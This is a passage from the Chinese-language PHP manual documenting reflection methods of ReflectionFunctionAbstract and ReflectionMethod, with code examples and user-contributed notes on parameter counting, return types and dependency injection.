            ->getMethod($Route->getMethod())
            ->getNumberOfParameters();
        //Maybe be 5 but if uri is /controller/method/single_param/ we only of 1
        $this->params = $Route->getParams(); //0 in some cases

        if($this->method_args_count > count($this->params))
        {
            $this->difference = ($this->method_args_count - count($this->params));
            for($i=0;$i<=$this->difference;$i++)
            {
                $this->params[] = false;
            }
        }

        //Call the method with correct amount of params
        // but as false for params that have not been passed!
        call_user_func_array(array(new $this->obj,$Route->getMethod()),$this->params);
?>


获取必须输入参数个数

  • ? ReflectionFunctionAbstract::getNumberOfParameters
  • ReflectionFunctionAbstract::getParameters ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取必须输入参数个数

ReflectionFunctionAbstract::getNumberOfRequiredParameters

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getNumberOfRequiredParameters — 获取必须输入参数个数

说明

public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int

获取函数定义中，必须输入的参数个数。

参数

此函数没有参数。

返回值

必须输入的参数个数。

参见

  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目

User Contributed Notes

cesar at magic3w dot com 07-Jul-2015 12:45
It's interesting to note that this function will treat optional parameters that come before a required parameter as required too. This is good since it allows you to verify that the function will be receiving enough parameters for the it to work, regardless where they are located.

<?php

class MyTest() {
    public function test($a = null, $b) {}
    public function test2($a = null, $b, $c = null) {}
}

//Create the reflection
$r  = new \ReflectionMethod('MyTest', 'test');
$r2 = new \ReflectionMethod('MyTest', 'test2');

//Verify the numbers
echo 'Test: ' . $r->getNumberOfRequiredParameters()); //Output: 2
echo 'Test2: ' . $r->getNumberOfRequiredParameters()); //Output: 2

?>
sebastian at sebastian-eiweleit dot de 02-Sep-2013 03:03
<?php
namespace ExampleWorld;
// The Class
class helloWorld {
    /* Method with two required arguments */

    public function requiredTwoArguments ( $var1, $var2 ) {
        // Some code ...
    }

    /* Method with two arguments, but just one is required */
    public function requiredOneArgument ( $var1, $var2 = false ) {
        // Some code ...
    }
}

$r = new \ReflectionMethod ( 'ExampleWorld\helloWorld', 'requiredTwoArguments' );
echo $r->getNumberOfRequiredParameters ();

$r = new \ReflectionMethod ( 'ExampleWorld\helloWorld', 'requiredOneArgument' );
echo $r->getNumberOfRequiredParameters ();

// Output: 2 1


获取参数

  • ? ReflectionFunctionAbstract::getNumberOfRequiredParameters
  • ReflectionFunctionAbstract::getReturnType ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取参数

ReflectionFunctionAbstract::getParameters

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getParameters — 获取参数

说明

public ReflectionFunctionAbstract::getParameters(): array

获取通过 ReflectionParameter 数组返回参数列表。顺序为源码中定义的顺序。

参数

此函数没有参数。

返回值

由 ReflectionParameter 对象组成的参数列表。

参见

  • ReflectionFunctionAbstract::getNumberOfParameters() - 获取参数数目
  • func_get_args() - 返回一个包含函数参数列表的数组

User Contributed Notes

a dot lucassilvadeoliveira at gmail dot com 28-Nov-2020 06:08
We can use this functionality to automatically pass arguments to our function based on some data structure.

NOTE: I am using a php 8.0> feature called "Nameds parameter".

<?php

$valuesToProcess = [
  'name' => 'Anderson Lucas Silva de Oliveira',
  'age' => 21,
  'hobbie' => 'Play games'
];

function processUserData($name, $age, $job = "", $hobbie = "")
{
    $msg = "Hello $name. You have $age years old";
    if (!empty($job)) {
    $msg .= ". Your job is $job";
    }

    if (!empty($hobbie)) {
        $msg .= ". Your hobbie is $hobbie";
    }

    echo $msg . ".";
}

$refFunction = new ReflectionFunction('processUserData');
$parameters = $refFunction->getParameters();

$validParameters = [];
foreach ($parameters as $parameter) {
    if (!array_key_exists($parameter->getName(), $valuesToProcess) && !$parameter->isOptional()) {
        throw new DomainException('Cannot resolve the parameter' . $parameter->getName());
    }

    if(!array_key_exists($parameter->getName(), $valuesToProcess)) {
        continue;
    }

    $validParameters[$parameter->getName()] = $valuesToProcess[$parameter->getName()];
}

$refFunction->invoke(...$validParameters);
?>

Results in:

Hello Anderson Lucas Silva de Oliveira. You have 21 years old. Your hobbie is Play games.
dabidi at slupca dot pl 27-Oct-2015 01:33
This is part of my private framework that uses reflection.
This function get arguments list from theme method and puts corresponding vars from $_REQUEST ($_GET, $_POST, and $_COOKIE)

<?php
public static function fire_theme_method($class, $method)
{
        $fire_args=array();

        $reflection = new ReflectionMethod($class, $method);

    foreach($reflection->getParameters() AS $arg)
    {
        if($_REQUEST[$arg->name])
        $fire_args[$arg->name]=$_REQUEST[$arg->name];
        else
        $fire_args[$arg->name]=null;
    }

    return call_user_func_array(array($class, $method), $fire_args);
}
?>
For example, if my theme method needs only id, and we get this url:
http://example.com/my_class/my_method/?id=12&some_unwanted_var=123
will be ignored some_unwanted_var

Of course behind this i have .htaccess, autoloader and controller


Gets the specified return type of a function

  • ? ReflectionFunctionAbstract::getParameters
  • ReflectionFunctionAbstract::getShortName ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Gets the specified return type of a function

ReflectionFunctionAbstract::getReturnType

(PHP 7, PHP 8)

ReflectionFunctionAbstract::getReturnType — Gets the specified return type of a function

说明

public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType

Gets the specified return type of a reflected function.

参数

此函数没有参数。

返回值

Returns a ReflectionType object if a return type is specified, null otherwise.

示例

Example #1 ReflectionFunctionAbstract::getReturnType() example

<?php

function to_int($param) : int {
return (int) $param;
}

$reflection1 = new ReflectionFunction('to_int');
echo $reflection1->getReturnType();

以上示例会输出：

int

Example #2 Usage on built-in functions

<?php

$reflection2 = new ReflectionFunction('array_merge');

var_dump($reflection2->getReturnType());

以上示例会输出：

null

This is because many internal functions do not have types specified for their parameters or return values. It is therefore best to avoid using this method on built-in functions.

参见

  • ReflectionFunctionAbstract::hasReturnType() - Checks if the function has a specified return type
  • ReflectionType::__toString() - To string

User Contributed Notes

There are no user contributed notes for this page.


获取函数短名称

  • ? ReflectionFunctionAbstract::getReturnType
  • ReflectionFunctionAbstract::getStartLine ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取函数短名称

ReflectionFunctionAbstract::getShortName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getShortName — 获取函数短名称

说明

public ReflectionFunctionAbstract::getShortName(): string

获取函数的段名称 (没有命名空间定义)。

参数

此函数没有参数。

返回值

函数短名称。

参见

  • ReflectionFunctionAbstract::getNamespaceName() - 获取命名空间
  • 命名空间

User Contributed Notes

There are no user contributed notes for this page.


获取开始行号

  • ? ReflectionFunctionAbstract::getShortName
  • ReflectionFunctionAbstract::getStaticVariables ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取开始行号

ReflectionFunctionAbstract::getStartLine

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getStartLine — 获取开始行号

说明

public ReflectionFunctionAbstract::getStartLine(): int|false

获取函数定义的开始行号

参数

此函数没有参数。

返回值

开始行号，如果未知则为 false。

参见

  • ReflectionFunctionAbstract::getEndLine() - 获取结束行号

User Contributed Notes

There are no user contributed notes for this page.


获取静态变量

  • ? ReflectionFunctionAbstract::getStartLine
  • ReflectionFunctionAbstract::getTentativeReturnType ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 获取静态变量

ReflectionFunctionAbstract::getStaticVariables

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getStaticVariables — 获取静态变量

说明

public ReflectionFunctionAbstract::getStaticVariables(): array

获取静态变量

参数

此函数没有参数。

返回值

返回一个静态变量的 array

参见

  • ReflectionFunctionAbstract::getParameters() - 获取参数

User Contributed Notes

Martiros Aghajanyan 11-Oct-2014 01:27
<?php

function test()
{
    static $a = 0, $b = 15;
    $a++;
    $b++;
    return $a;
}

$rf = new ReflectionFunction('test');

// result - Array ( [a] => 0 [b] => 15 )
print_r( $rf->getStaticVariables() );

//call test function and print again static variables
test();

// result - Array ( [a] => 1 [b] => 16 )
print_r( $rf->getStaticVariables() );

?>


Returns the tentative return type associated with the function

  • ? ReflectionFunctionAbstract::getStaticVariables
  • ReflectionFunctionAbstract::hasReturnType ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Returns the tentative return type associated with the function

ReflectionFunctionAbstract::getTentativeReturnType

(PHP 8 >= 8.1.0)

ReflectionFunctionAbstract::getTentativeReturnType — Returns the tentative return type associated with the function

说明

public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType

Returns the tentative return type associated with the function.

参数

此函数没有参数。

返回值

Returns a ReflectionType object if a tentative return type is specified, null otherwise.

示例

Example #1 ReflectionFunctionAbstract::getTentativeReturnType() example

<?php

$method = new ReflectionMethod(\ArrayAccess::class, 'offsetGet');
var_dump($method->getTentativeReturnType());

以上示例的输出类似于：

object(ReflectionNamedType)#2 (0) {
}

参见

  • ReflectionFunctionAbstract::getReturnType() - Gets the specified return type of a function
  • ReflectionFunctionAbstract::hasTentativeReturnType() - Returns whether the function has a tentative return type
  • Return Type Compatibility with Internal Classes

User Contributed Notes

There are no user contributed notes for this page.


Checks if the function has a specified return type

  • ? ReflectionFunctionAbstract::getTentativeReturnType
  • ReflectionFunctionAbstract::hasTentativeReturnType ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Checks if the function has a specified return type

ReflectionFunctionAbstract::hasReturnType

(PHP 7, PHP 8)

ReflectionFunctionAbstract::hasReturnType — Checks if the function has a specified return type

说明

public ReflectionFunctionAbstract::hasReturnType(): bool

Checks whether the reflected function has a return type specified.

参数

此函数没有参数。

返回值

Returns true if the function is a specified return type, otherwise false.

示例

Example #1 ReflectionFunctionAbstract::hasReturnType() example

<?php

function to_int($param) : int {
return (int) $param;
}

$reflection1 = new ReflectionFunction('to_int');
var_dump($reflection1->hasReturnType());

以上示例会输出：

bool(true)

Example #2 Usage on built-in functions

<?php

$reflection2 = new ReflectionFunction('array_merge');

var_dump($reflection2->hasReturnType());

以上示例会输出：

bool(false)

This is because many internal functions do not have types specified for their parameters or return values. It is therefore best to avoid using this method on built-in functions.

参见

  • ReflectionFunctionAbstract::getReturnType() - Gets the specified return type of a function

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the function has a tentative return type

  • ? ReflectionFunctionAbstract::hasReturnType
  • ReflectionFunctionAbstract::inNamespace ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Returns whether the function has a tentative return type

ReflectionFunctionAbstract::hasTentativeReturnType

(PHP 8 >= 8.1.0)

ReflectionFunctionAbstract::hasTentativeReturnType — Returns whether the function has a tentative return type

说明

public ReflectionFunctionAbstract::hasTentativeReturnType(): bool

Returns whether the function has a tentative return type.

参数

此函数没有参数。

返回值

Returns true if the function has a tentative return type, otherwise false.

示例

Example #1 ReflectionFunctionAbstract::hasTentativeReturnType() example

<?php

$method = new ReflectionMethod(\ArrayAccess::class, 'offsetGet');
var_dump($method->hasTentativeReturnType());

以上示例会输出：

bool(true)

参见

  • ReflectionFunctionAbstract::getTentativeReturnType() - Returns the tentative return type associated with the function
  • ReflectionFunctionAbstract::hasReturnType() - Checks if the function has a specified return type
  • Return Type Compatibility with Internal Classes

User Contributed Notes

There are no user contributed notes for this page.


检查是否处于命名空间

  • ? ReflectionFunctionAbstract::hasTentativeReturnType
  • ReflectionFunctionAbstract::isClosure ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否处于命名空间

ReflectionFunctionAbstract::inNamespace

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::inNamespace — 检查是否处于命名空间

说明

public ReflectionFunctionAbstract::inNamespace(): bool

检查函数是否在命名空间内定义。

参数

此函数没有参数。

返回值

在命名空间内返回 true，否则返回 false

参见

  • ReflectionFunctionAbstract::getNamespaceName() - 获取命名空间
  • 命名空间

User Contributed Notes

There are no user contributed notes for this page.


检查是否是匿名函数

  • ? ReflectionFunctionAbstract::inNamespace
  • ReflectionFunctionAbstract::isDeprecated ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否是匿名函数

ReflectionFunctionAbstract::isClosure

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isClosure — 检查是否是匿名函数

说明

public ReflectionFunctionAbstract::isClosure(): bool

检查反射函数是否是 Closure。

参数

此函数没有参数。

返回值

如果是 Closure 返回 true，否则返回 false。

示例

Example #1 ReflectionFunctionAbstract::isClosure() 示例

<?php
// 非匿名函数
$function1 = 'str_replace';
$reflection1 = new ReflectionFunction($function1);
var_dump($reflection1->isClosure());

// 匿名函数
$function2 = function () {};
$reflection2 = new ReflectionFunction($function2);
var_dump($reflection2->isClosure());
?>

以上示例会输出：

bool(false)
bool(true)

参见

  • ReflectionFunctionAbstract::isGenerator() - 判断函数是否是一个生成器函数

User Contributed Notes

There are no user contributed notes for this page.


检查是否已经弃用

  • ? ReflectionFunctionAbstract::isClosure
  • ReflectionFunctionAbstract::isGenerator ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否已经弃用

ReflectionFunctionAbstract::isDeprecated

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isDeprecated — 检查是否已经弃用

说明

public ReflectionFunctionAbstract::isDeprecated(): bool

检查函数是否已经被弃用

参数

此函数没有参数。

返回值

弃用返回 true，否则返回 false

示例

Example #1 ReflectionFunctionAbstract::isDeprecated() 示例

<?php
$rf = new ReflectionFunction('ereg');
var_dump($rf->isDeprecated());
?>

以上示例会输出：

bool(true)

参见

  • ReflectionFunctionAbstract::getDocComment() - 获取注释内容

User Contributed Notes

There are no user contributed notes for this page.


判断函数是否是一个生成器函数

  • ? ReflectionFunctionAbstract::isDeprecated
  • ReflectionFunctionAbstract::isInternal ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 判断函数是否是一个生成器函数

ReflectionFunctionAbstract::isGenerator

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isGenerator — 判断函数是否是一个生成器函数

说明

public ReflectionFunctionAbstract::isGenerator(): bool

参数

此函数没有参数。

返回值

生成器函数返回 true，不是返回 false 失败时返回 null。

User Contributed Notes

There are no user contributed notes for this page.


判断函数是否是内置函数

  • ? ReflectionFunctionAbstract::isGenerator
  • ReflectionFunctionAbstract::isStatic ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 判断函数是否是内置函数

ReflectionFunctionAbstract::isInternal

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isInternal — 判断函数是否是内置函数

说明

public ReflectionFunctionAbstract::isInternal(): bool

判断函数是否是内置函数，而非用户自定义。

参数

此函数没有参数。

返回值

内置函数返回 true，否则返回 false

参见

  • ReflectionFunctionAbstract::isUserDefined() - 检查是否是用户定义

User Contributed Notes

There are no user contributed notes for this page.


判断函数是否为 static

  • ? ReflectionFunctionAbstract::isInternal
  • ReflectionFunctionAbstract::isUserDefined ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 判断函数是否为 static

ReflectionFunctionAbstract::isStatic

(PHP 5, PHP 7, PHP 8)

ReflectionFunctionAbstract::isStatic — 判断函数是否为 static

说明

public ReflectionFunctionAbstract::isStatic(): bool

判断函数是否是 static。

参数

此函数没有参数。

返回值

函数为 static，返回 true，否则为 false

更新日志

版本 | 说明
8.1.0 | 此方法已提升。之前仅定义于 ReflectionMethod。

参见

  • ReflectionMethod::isFinal() - 判断方法是否定义 final

User Contributed Notes

There are no user contributed notes for this page.


检查是否是用户定义

  • ? ReflectionFunctionAbstract::isStatic
  • ReflectionFunctionAbstract::isVariadic ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否是用户定义

ReflectionFunctionAbstract::isUserDefined

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isUserDefined — 检查是否是用户定义

说明

public ReflectionFunctionAbstract::isUserDefined(): bool

检查函数是否是用户自定义，也就是说不是 PHP 自己内置函数。

参数

此函数没有参数。

返回值

用户自定义函数返回 true，否则返回 false

参见

  • ReflectionFunctionAbstract::isInternal() - 判断函数是否是内置函数

User Contributed Notes

There are no user contributed notes for this page.


Checks if the function is variadic

  • ? ReflectionFunctionAbstract::isUserDefined
  • ReflectionFunctionAbstract::returnsReference ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • Checks if the function is variadic

ReflectionFunctionAbstract::isVariadic

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::isVariadic — Checks if the function is variadic

说明

public ReflectionFunctionAbstract::isVariadic(): bool

Checks if the function is variadic.

参数

此函数没有参数。

返回值

Returns true if the function is variadic, otherwise false.

User Contributed Notes

There are no user contributed notes for this page.


检查是否返回引用

  • ? ReflectionFunctionAbstract::isVariadic
  • ReflectionFunctionAbstract::__toString ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 检查是否返回引用

ReflectionFunctionAbstract::returnsReference

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::returnsReference — 检查是否返回引用

说明

public ReflectionFunctionAbstract::returnsReference(): bool

检查是否返回引用

参数

此函数没有参数。

返回值

如果返回引用则为 true，否则为 false

参见

  • ReflectionFunctionAbstract::isClosure() - 检查是否是匿名函数

User Contributed Notes

There are no user contributed notes for this page.


返回表示 ReflectionFunctionAbstract 对象的字符串

  • ? ReflectionFunctionAbstract::returnsReference
  • ReflectionMethod ?
  • PHP Manual
  • ReflectionFunctionAbstract
  • 返回表示 ReflectionFunctionAbstract 对象的字符串

ReflectionFunctionAbstract::__toString

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::__toString — 返回表示 ReflectionFunctionAbstract 对象的字符串

说明

abstract public ReflectionFunctionAbstract::__toString(): void

获取函数及其参数和返回值的人类可读描述。

参数

此函数没有参数。

返回值

字符串。

参见

  • ReflectionFunction::__toString() - Returns the string representation of the ReflectionFunction object
  • ReflectionMethod::__toString() - 返回反射方法对象的字符串表达
  • __toString()

User Contributed Notes

There are no user contributed notes for this page.


ReflectionMethod 类

(PHP 5, PHP 7, PHP 8)

简介

ReflectionMethod 类报告有关方法的信息。

类摘要

class ReflectionMethod extends ReflectionFunctionAbstract {
/* 常量 */
public const int IS_STATIC;
public const int IS_PUBLIC;
public const int IS_PROTECTED;
public const int IS_PRIVATE;
public const int IS_ABSTRACT;
public const int IS_FINAL;
/* 属性 */
public string $class;
/* 继承的属性 */
public string $name;
/* 方法 */
public __construct(object|string $objectOrMethod, string $method)
public __construct(string $classMethod)
public static createFromMethodName(string $method): static
public static export(string $class, string $name, bool $return = false): string
public getClosure(?object $object = null): Closure
public getDeclaringClass(): ReflectionClass
public getModifiers(): int
public getPrototype(): ReflectionMethod
public hasPrototype(): bool
public invoke(?object $object, mixed ...$args): mixed
public invokeArgs(?object $object, array $args): mixed
public isAbstract(): bool
public isConstructor(): bool
public isDestructor(): bool
public isFinal(): bool
public isPrivate(): bool
public isProtected(): bool
public isPublic(): bool
public setAccessible(bool $accessible): void
public __toString(): string
/* 继承的方法 */
private ReflectionFunctionAbstract::__clone(): void
public ReflectionFunctionAbstract::getAttributes(?string $name = null, int $flags = 0): array
public ReflectionFunctionAbstract::getClosureScopeClass(): ?ReflectionClass
public ReflectionFunctionAbstract::getClosureThis(): ?object
public ReflectionFunctionAbstract::getClosureUsedVariables(): array
public ReflectionFunctionAbstract::getDocComment(): string|false
public ReflectionFunctionAbstract::getEndLine(): int|false
public ReflectionFunctionAbstract::getExtension(): ?ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName(): string|false
public ReflectionFunctionAbstract::getFileName(): string|false
public ReflectionFunctionAbstract::getName(): string
public ReflectionFunctionAbstract::getNamespaceName(): string
public ReflectionFunctionAbstract::getNumberOfParameters(): int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters(): int
public ReflectionFunctionAbstract::getParameters(): array
public ReflectionFunctionAbstract::getReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::getShortName(): string
public ReflectionFunctionAbstract::getStartLine(): int|false
public ReflectionFunctionAbstract::getStaticVariables(): array
public ReflectionFunctionAbstract::getTentativeReturnType(): ?ReflectionType
public ReflectionFunctionAbstract::hasReturnType(): bool
public ReflectionFunctionAbstract::hasTentativeReturnType(): bool
public ReflectionFunctionAbstract::inNamespace(): bool
public ReflectionFunctionAbstract::isClosure(): bool
public ReflectionFunctionAbstract::isDeprecated(): bool
public ReflectionFunctionAbstract::isGenerator(): bool
public ReflectionFunctionAbstract::isInternal(): bool
public ReflectionFunctionAbstract::isStatic(): bool
public ReflectionFunctionAbstract::isUserDefined(): bool
public ReflectionFunctionAbstract::isVariadic(): bool
public ReflectionFunctionAbstract::returnsReference(): bool
abstract public ReflectionFunctionAbstract::__toString(): void
}

属性

name

方法名

class

类名

预定义常量

ReflectionMethod 修饰符

ReflectionMethod::IS_STATIC

表示该方法是 static。在 PHP 7.4.0 之前，值为 1。

ReflectionMethod::IS_PUBLIC

表示该方法是 public。在 PHP 7.4.0 之前，值为 256。

ReflectionMethod::IS_PROTECTED

表示该方法是 protected。在 PHP 7.4.0 之前，值为 512。

ReflectionMethod::IS_PRIVATE

表示该方法是 private。在 PHP 7.4.0 之前，值为 1024。

ReflectionMethod::IS_ABSTRACT

表示该方法是 abstract。PHP 7.4.0 之前，值为 2。

ReflectionMethod::IS_FINAL

表示该方法是 final。PHP 7.4.0 之前，值为 4。

Note:

这些常量的值可能会在不同 PHP 版本间发生更改。建议始终使用常量而不直接依赖值。

更新日志

版本 | 说明
8.0.0 | 已移除 ReflectionMethod::export()。

Table of Contents

  • ReflectionMethod::__construct — 构造 ReflectionMethod
  • ReflectionMethod::createFromMethodName — Creates a new ReflectionMethod
  • ReflectionMethod::export — 导出 reflection 方法
  • ReflectionMethod::getClosure — 返回动态建立的方法调用接口（译者注：可以使用这个返回值直接调用非公开方法）
  • ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例
  • ReflectionMethod::getModifiers — 获取方法的修饰符
  • ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
  • ReflectionMethod::hasPrototype — Returns whether a method has a prototype
  • ReflectionMethod::invoke — Invoke
  • ReflectionMethod::invokeArgs — 带参数执行
  • ReflectionMethod::isAbstract — 判断方法是否是抽象方法
  • ReflectionMethod::isConstructor — 判断方法是否是构造方法
  • ReflectionMethod::isDestructor — 判断方法是否是析构方法
  • ReflectionMethod::isFinal — 判断方法是否定义 final
  • ReflectionMethod::isPrivate — 判断方法是否是私有
  • ReflectionMethod::isProtected — 判断方法是否是 protected
  • ReflectionMethod::isPublic — 判断方法是否是 public
  • ReflectionMethod::setAccessible — 设置方法是否可访问
  • ReflectionMethod::__toString — 返回反射方法对象的字符串表达

User Contributed Notes

Anonymous 02-Nov-2020 10:15
We can make a "Automatic dependenci injector" in classes when her constructors depends other classes (with type hint).

<?php

class Dependence1 {
    function foo() {
        echo "foo";
    }
}

class Dependence2 {
    function foo2() {
        echo "foo2";
    }
}

final class myClass
{
    private $dep1;
    private $dep2;

    public function __construct(
        Dependence1 $dependence1,
        Dependence2 $dependence2
    )
    {
        $this->dep1 = $dependence1;
        $this->dep2 = $dependence2;
    }

}

// Automatic dependence injection (CLASSES)

$constructor = new ReflectionMethod(myClass::class, '__construct');
$parameters = $constructor->getParameters();

$dependences = [];
foreach ($parameters as $parameter) {
    $dependenceClass = (string) $parameter->getType();
    $dependences[] = new $dependenceClass();
}

$instance = new myClass(...$dependences);
var_dump($instance);

?>

Results in:

object(myClass)#6 (2) {
  ["dep1":"myClass":private]=>
  object(Dependence1)#4 (0) {
  }
  ["dep2":"myClass":private]=>
  object(Dependence2)#5 (0) {
  }
}
webseiten dot designer at googlemail dot com 02-Apr-2011 11:53
Note that the public member $class contains the name of the class in which the method has been defined:

<?php
class A {public function __construct() {}}
class B extends A {}

$method = new ReflectionMethod('B', '__construct');
echo $method->class; // prints 'A'
?>
no dot prob at gmx dot net 02-Jun-2006 01:09
I have written a function which returns the value of a given DocComment tag.

Full example:

<?php

header('Content-Type: text/plain');

class Example
{
    /**
     * This is my DocComment!
     *
     * @DocTag: prints Hello World!
     */
    public function myMethod()
    {
        echo 'Hello World!';
    }
}

function getDocComment($str, $tag = '')
{
    if (empty($tag))
    {
        return $str;
    }

    $matches = array();
    preg_match("/".$tag.":(.*)(\\r\\n|\\r|\\n)/U", $str, $matches);

    if (isset($matches[1]))
    {
        return trim($matches[1]);
    }

    return '';
}

$method = new ReflectionMethod('Example', 'myMethod');

// will return Hello World!
echo getDocComment($method->getDocComment(), '@DocTag');

?>

Maybe you can add this functionality to the getDocComment methods of the reflection classes.


构造 ReflectionMethod

  • ? ReflectionMethod
  • ReflectionMethod::createFromMethodName ?
  • PHP Manual
  • ReflectionMethod
  • 构造 ReflectionMethod

ReflectionMethod::__construct

(PHP 5, PHP 7, PHP 8)

ReflectionMethod::__construct — 构造 ReflectionMethod

说明

public ReflectionMethod::__construct(object|string $objectOrMethod, string $method)

替代签名（不支持命名参数）：

public ReflectionMethod::__construct(string $classMethod)

构造新的 ReflectionMethod。

参数

objectOrMethod

包含方法的类名或者对象（类的实例）。

method

方法名。

classMethod

类名称和方法名称，通过 :: 分隔

错误／异常

如果指定的方法不存在，那么抛出 ReflectionException。

示例

Example #1 ReflectionMethod::__construct() 示例

<?php
class Counter
{
private static $c = 0;

/**
* Increment counter
*
* @final
* @static
* @access public
* @return int
*/
final public static function increment()
{
return ++self::$c;
}
}

// 创建 ReflectionMethod 类的实例
$method = new ReflectionMethod('Counter', 'increment');

// 打印出基本信息
printf(
"===> The %s%s%s%s%s%s%s method '%s' (which is %s)\n" .
" declared in %s\n" .
" lines %d to %d\n" .
" having the modifiers %d[%s]\n",
$method->isInternal() ? 'internal' : 'user-defined',
$method->isAbstract() ? ' abstract' : '',
$method->isFinal() ? ' final' : '',
$method->isPublic() ? ' public' : '',
$method->isPrivate() ? ' private' : '',
$method->isProtected() ? ' protected' : '',
$method->isStatic() ? ' static' : '',
$method->getName(),
$method->isConstructor() ? 'the constructor' : 'a regular method',
$method->getFileName(),
$method->getStartLine(),
$method->getEndline(),
$method->getModifiers(),
implode(' ', Reflection::getModifierNames($method->getModifiers()))
);

// 打印注释文档
printf("---> Documentation:\n %s\n", var_export($method->getDocComment(), true));

// 打印存在的静态变量
if ($statics= $method->getStaticVariables()) {
printf("---> Static variables: %s\n", var_export($statics, true));
}

// 执行方法
printf("---> Invocation results in: ");
var_dump($method->invoke(NULL));
?>

以上示例的输出类似于：

===> The user-defined final public static method 'increment' (which is a regular method)
     declared in /Users/philip/cvs/phpdoc/test.php
     lines 14 to 17
     having the modifiers 261[final public static]
---> Documentation:
 '/**
     * Increment counter
     *
     * @final
     * @static
     * @access  public
     * @return  int
     */'
---> Invocation results in: int(1)

参见

  • ReflectionMethod::export() - 导出 reflection 方法
  • Constructors

User Contributed Notes

There are no user contributed notes for this page.


Creates a new ReflectionMethod

  • ? ReflectionMethod::__construct
  • ReflectionMethod::export ?
  • PHP Manual
  • ReflectionMethod
  • Creates a new ReflectionMethod

ReflectionMethod::createFromMethodName

(PHP 8 >= 8.3.0)

ReflectionMethod::createFromMethodName — Creates a new ReflectionMethod

说明

public static ReflectionMethod::createFromMethodName(string $method): static

Creates a new ReflectionMethod.

参数

method

Class name and method name delimited by ::.

返回值

Returns a new ReflectionMethod on success.

错误／异常

A ReflectionException is thrown if the given method does not exist.

示例

Example #1 ReflectionMethod::createFromMethodName() example

<?php

class Foo {
public function bar() {

}
}

$methodInfo = ReflectionMethod::createFromMethodName("Foo::bar");
var_dump($methodInfo);
?>

以上示例会输出：

object(ReflectionMethod)#1 (2) {
  ["name"]=>
  string(3) "bar"
  ["class"]=>
  string(3) "Foo"
}

User Contributed Notes

There are no user contributed notes for this page.


导出 reflection 方法

  • ? ReflectionMethod::createFromMethodName
  • ReflectionMethod::getClosure ?
  • PHP Manual
  • ReflectionMethod
  • 导出 reflection 方法

ReflectionMethod::export

(PHP 5, PHP 7)

ReflectionMethod::export — 导出 reflection 方法

Warning

本函数已自 PHP 7.4.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public static ReflectionMethod::export(string $class, string $name, bool $return = false): string

导出 ReflectionMethod。

参数

class

类名称。

name

方法名称。

return

设为 true 时返回导出结果，设为 false（默认值）则忽略返回。

返回值

如果参数 return 设为 true，导出结果将作为 string 返回，否则返回 null。

参见

  • ReflectionMethod::__construct() - 构造 ReflectionMethod
  • ReflectionMethod::__toString() - 返回反射方法对象的字符串表达

User Contributed Notes

There are no user contributed notes for this page.


返回动态建立的方法调用接口（译者注：可以使用这个返回值直接调用非公开方法）

  • ? ReflectionMethod::export
  • ReflectionMethod::getDeclaringClass ?
  • PHP Manual
  • ReflectionMethod
  • 返回动态建立的方法调用接口（译者注：可以使用这个返回值直接调用非公开方法）

ReflectionMethod::getClosure

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionMethod::getClosure — 返回动态建立的方法调用接口（译者注：可以使用这个返回值直接调用非公开方法）

说明

public ReflectionMethod::getClosure(?object $object = null): Closure

调用方法创建闭包。

参数

object

不可以用于静态方法，可以用于其他类型的方法。

返回值

返回新创建的 Closure。

错误／异常

如果 object 为 null，但该方法是非静态方法，则抛出 ValueError。

如果 object 不是该方法声明的类实例，则抛出 ReflectionException。

更新日志

版本 | 说明
8.0.0 | object 现在可以为 null。

参见

  • 头等可调用语法

User Contributed Notes

okto 14-Aug-2016 10:45
Use method from another class context.

<?php

class A {
    private $var = 'class A';

    public function getVar() {
        return $this->var;
    }

    public function getCl() {
        return function () {
            $this->getVar();
        };
    }
}

class B {
    private $var = 'class B';
}

$a = new A();
$b = new B();

